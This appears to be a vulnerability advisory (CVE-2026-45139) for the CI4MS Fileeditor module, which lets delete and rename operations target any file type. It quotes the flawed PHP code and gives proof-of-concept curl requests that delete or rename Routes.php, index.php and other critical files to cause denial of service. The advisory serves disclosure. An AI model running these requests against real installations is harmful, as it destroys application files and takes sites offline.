CVE-2026-45139

CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];
// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }
    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;
    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
• isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

• realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.
• Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=' \
  --data-urlencode 'path=app/Config/Routes.php'
-> {"success": true}
Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.
Equivalently catastrophic targets (none of these segments are in $hiddenItems):
  path=public/index.php           (front controller — entire app dead)
  path=app/Config/App.php         (core app config)
  path=app/Config/Database.php    (DB config)
  path=app/Config/Filters.php     (auth/CSRF filters)
  path=public/.htaccess           (rewrite + security rules)
2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
-> {"success": true}
Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the d